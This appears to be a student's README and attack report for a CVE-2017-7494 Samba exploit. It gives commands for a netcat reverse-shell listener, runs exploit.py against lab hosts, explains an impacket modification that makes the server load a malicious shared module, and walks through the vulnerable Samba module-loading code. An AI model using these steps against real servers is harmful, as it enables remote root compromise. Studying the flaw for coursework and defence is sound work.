Exploit CVE-2017-7494 for Net Security course final Assignment. This would reveal the vulnerability of services that run in administrative priority on Linux.
Exploit CVE-2017-7494 for Net Security course final Assignment. This would reveal the vulnerability of services that run in administrative priority on OS.
This bug is workable on both macOS and Linux.
Before exploit, you need to download dependencies.
/bin/bash install_requirement.sh
One of the most important dependencies is the impacket package for python. It make smb connection works.
However, in order to construct a valid request that make the samba server load our malicious module, we have to modify the original impacket.
The installation install_requirement.sh installs a modified version (modified by me) so you do not have to worry about that and you are not need to do any manual modification.
However, if you want to use some newer version or another version of impacket, you have to modify that package by yourself.
Goto
impacket/impacket/smb3.pymodify line 11154 and comment following two sentences:
# fileName = fileName.replace('/', '\\') Should be comment!
if len(fileName) > 0:
# fileName = ntpath.normpath(fileName) Should be comment!
if fileName[0] == '\\':
fileName = fileName[1:]
To exploit target, you need open two terminals. One use netcat to interact with the reverse shell, the other is used to exploit the BUG.
Usage:
#First terminal use nc to get reverse shell
$ nc -p 23333 -l
# Second terminal to exploit target
$ python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135
If the target is macOS, you should not to compile the module on Linux! As gcc do not support MACH-O format. If you are a mac user, macOS payload compilation works.
A precompiled version is in the directory. The mac_payload.so.
Use -m flag to make exploit.py know you will use a customized payload.
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m mac_payload.so
sudo -H python3 -m pip uninstall impacket
A detailed process would be post in Chinese as my final assignment. If you understand Chinese, it would be fine for you. :)
—— CVE-2017-7494 Attack Report
EternalBlue caused great damage in 2017, exploiting the Windows SMB mechanism for worm attacks. SMB is a service running on Windows that allows file sharing and remote procedure calls (RPC) between different hosts. Perhaps it is precisely this nature that often makes it a target for hackers.
Vulnerabilities in the operating system kernel itself should be relatively rare – even for Windows. The problems usually come from various services running on top of the operating system. They do not have the same strict, rigorously tested code as the OS, yet they run with high privileges, creating many opportunities for malicious exploitation. So can we compromise the entire system by attacking high-privilege services on the OS, rather than attacking the underlying components of the OS itself? A standalone OS is just a kernel that can do nothing; it only provides diverse functions by running various system services. Many system services require administrator privileges to run (as daemons). Therefore, compromising such a high-privilege service naturally grants administrator privileges on the system, thus compromising the entire OS.
Finally, I found an exploitable vulnerability in Samba, the open-source implementation of SMB – CVE-2017-7494. Similar to Windows, hackers can obtain administrator privileges of the operating system through Samba's remote procedure call, thereby creating an opportunity to build a worm to attack the network.
The Linux kernel has long been known for its security due to open source; macOS, as a niche system, often gives a false sense of security because there are few viruses targeting it. Therefore, this experiment will attack macOS and several different Linux distributions to demonstrate the vulnerability of operating systems – no matter how "secure" an OS design appears, it can be compromised in any situation due to a small application vulnerability.
Since Samba is equivalent to SMB, it is also called "Linux EternalBlue". However, I believe there are essential differences between the two from a technical perspective:
The vulnerability mainly comes from the call to smb_probe_module() in the function bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax) in source3\rpc_server\srv_pipe.c:
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
...
// Here is the problem
status = smb_probe_module("rpc", pipename);
....
}
The upper-level function np_open() is a control module that calls is_known_pipename() after checking the RPC service request. is_known_pipename(), as the name suggests, is used to determine whether a remote pipe is registered. However, after Samba 3.50, a new feature was introduced: loading dynamic modules by calling smb_probe_module(). This vulnerability exploits this module loading function to call a malicious module constructed by us.
The call chain for loading rpc pipe modules is:
is_known_pipename() -> smb_probe_module() -> do_smb_load_module() -> load_module()
Between Samba 3.5.0 and Samba 4.6.3, the function do_smb_load_module() is reused by smb_probe_module() for loading RPC modules and by smb_load_module() for loading its own modules. smb_load_module() is used to load some known modules, intended for internal calls to extend Samba's own functionality, such as VFS modules. smb_probe_module() should mean loading possible modules, possibly from RPC requests.
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, true);
}
NTSTATUS smb_load_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, false);
}
To be reused by these two functions with very different origins (although I believe these two modules should absolutely not reuse the same function), do_smb_load_module() implements two ways: "load a module within the SMB subsystem by parsing the request" and "load a module by absolute path".
static NTSTATUS do_smb_load_module(const char *subsystem,
const char *module_name, bool is_probe)
{
...
/* Check for absolute path */
// Comment on the comment: If the incoming path comes from smb_probe_module(), which should not provide an absolute path, but smb_probe_module() gives an absolute path, this check will be invalid. This is the principle of this exploit.
if (subsystem && module_name[0] != '/')
{
// Originally should go into the subsystem, convert SMB subsystem to absolute path
full_path = talloc_asprintf(ctx,"%s/%s.%s", modules_path(ctx, subsystem), module_name, shlib_ext());
...
}
else
{
// But it directly loads our constructed absolute path, goes here
init = load_module(module_name, is_probe, &handle);
// Thus init makes a module for a "non-existent pipe" use the module from the absolute path
}
// Then directly calls the malicious code
status = init();
...
}
Since do_smb_load_module() does not know whether the path submitted by the upper-level function comes from smb_load_module or smb_probe_module, it creates a possibility for us to construct a fake request: turning "loading a module inside the subsystem" into "loading a module from an absolute path". If this absolute path module happens to be a predefined malicious module, the exploit succeeds.